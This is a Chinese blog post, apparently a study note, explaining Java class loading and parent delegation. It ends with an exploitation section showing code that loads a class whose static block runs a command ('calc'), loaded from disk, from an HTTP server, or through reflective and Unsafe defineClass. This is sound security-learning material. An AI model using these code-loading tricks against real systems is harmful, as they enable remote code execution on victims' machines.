# 类加载机制

  • 类加载与反序列化

    类加载的时候会执行代码

    初始化:静态代码块

    实例化:构造代码块 、 构造函数

  • 动态类加载方法

    Class.forname 可以初始化也可以不初始化

    ClassLoader.loadClass 不进行初始化

我们构造一个 Person 类来进行说明

public class Person {
    private String name;
    static  int age;
    Person(){
        System.out.println("无参构造方法");
    }
    static  void staticfunc(){
        System.out.println("静态方法");
    }
    static {
        System.out.println("静态代码块");
    }
    {
        System.out.println("构造代码块");
    }
}

# 测试

image-20220408100919480

说明实例化的时候都调用了

image-20220408101230209

image-20220408101345097

可以看到,类初始化的时候会加载静态代码块

# Class.forName

image-20220408101646429

可以看到这里调用了静态代码块,跟进去看看

image-20220408101806948

可以看到这里 return 了一个 forName0,跟进看看

image-20220408101837246

这里第一个参数是类名,第二个参数判断是否初始化,第三个参数是类加载器,第四个不重要

再找到了一个重载的 forName

image-20220408102010133

这个就是完整版的,我们尝试不初始化地获取类

image-20220408102152661

这样就不会进行初始化

然后 newInstance 的时候就都加载了

image-20220408102303368

# ClassLoader

image-20220408113822804

这里涉及双亲委派机制

# 双亲委派机制

当某个类加载器需要加载某个 .class 文件时,它首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类。

# 类加载器的类别

# BootstrapClassLoader(启动类加载器)

c++ 编写,加载 java 核心库 java.* , 构造 ExtClassLoaderAppClassLoader 。由于引导类加载器涉及到虚拟机本地实现细节,开发者无法直接获取到启动类加载器的引用,所以不允许直接通过引用进行操作

# ExtClassLoader (标准扩展类加载器)

java 编写,加载扩展库,如 classpath 中的 jrejavax.* 或者
java.ext.dir 指定位置中的类,开发者可以直接使用标准扩展类加载器。

# AppClassLoader(系统类加载器)

java`编写,加载程序所在的目录,如`user.dir`所在的位置的`class

# CustomClassLoader(用户自定义类加载器)

java 编写,用户自定义的类加载器,可加载指定路径的 class 文件

image-20220408102833390

可以看到 ClassLoader.loadClass 不进行初始化,我们跟进去看一看

image-20220408104015021

进入了 AppClassLoader.loadClass

image-20220408105514854

在最后调用其父类的 loadClass

image-20220408111304759

因为其父属性是 ExtClassLoader ,所以就会调用其父属性的 loadClass , 因为 ExtClassLoader 也没有这个类,所以快进到 Bootstrap

image-20220408104917701

此时这个类的父属性不存在,所以会进入下面的一句进入 Bootstrap 里面寻找这个类,因为这个类是普通类不会在系统中存在,所以也是空,跳到下面

image-20220408105751777

因为这个类的 findClass 是重写的,所以会调用子类 ExtClassLoaderfindClass , 跟进

到了 URLClassLoader ,这是因为正常类下 AppClassLoaderExtClassLoader 都是 URLClassLoader 的子类,而 ExtClassLoader 没有 findClass 所以调用了 URLClassLoader.findClass

image-20220408105723768

同样没有找到,返回到下一个 findClass

image-20220408112136698

最终找到了这个类,

image-20220408112405282

并且调用 defineClass 加载这个类

image-20220408112600870

到了 SecureClassLoader.defineClass

image-20220408112737236

跟进

image-20220408113033881

回到了 ClassLoader ,看到 defineClass1

image-20220408113228245

最终在这里加载类

# 利用

# URLClassLoader 任意类加载

利用协议 file:/// 、 http:// 、 jar:/

新建一个 test 类

import java.io.IOException;
public class test {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}

编译一下,将 test.class 放到 D 盘下

image-20220408120300801

然后将 test.java 删除

image-20220408120320982

然后再 exp 类中这么写

import java.net.URL;
import java.net.URLClassLoader;
public class exp {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\")});
        Class<?> test = urlClassLoader.loadClass("test");
        test.newInstance();
    }
}

执行一下

image-20220408120345168

然后将其放在 web 服务上

image-20220408143022449

import java.net.URL;
import java.net.URLClassLoader;
public class exp {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8081/")});
        Class<?> test = urlClassLoader.loadClass("test");
        test.newInstance();
    }
}

image-20220408143102185

# ClassLoader.defineClass 加载

import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));
        Class c = (Class) method.invoke(classLoader, "test", code, 0, code.length);
        c.newInstance();
    }
}

image-20220408144129028

# Unsafe.defineClass 加载

image-20220408144706601

Unsafe 里面也有 defineClass 类,也可以利用

注意, Unsafe 虽然是 public 类但是不能直接生成,不过在 spring 可以直接用

import sun.misc.Unsafe;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));
        Class c = Unsafe.class;
        Field theUnsafe = c.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class c2 = (Class) unsafe.defineClass("test", code, 0, code.length, classLoader, null);
        c2.newInstance();
    }
}

image-20220408145147682

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝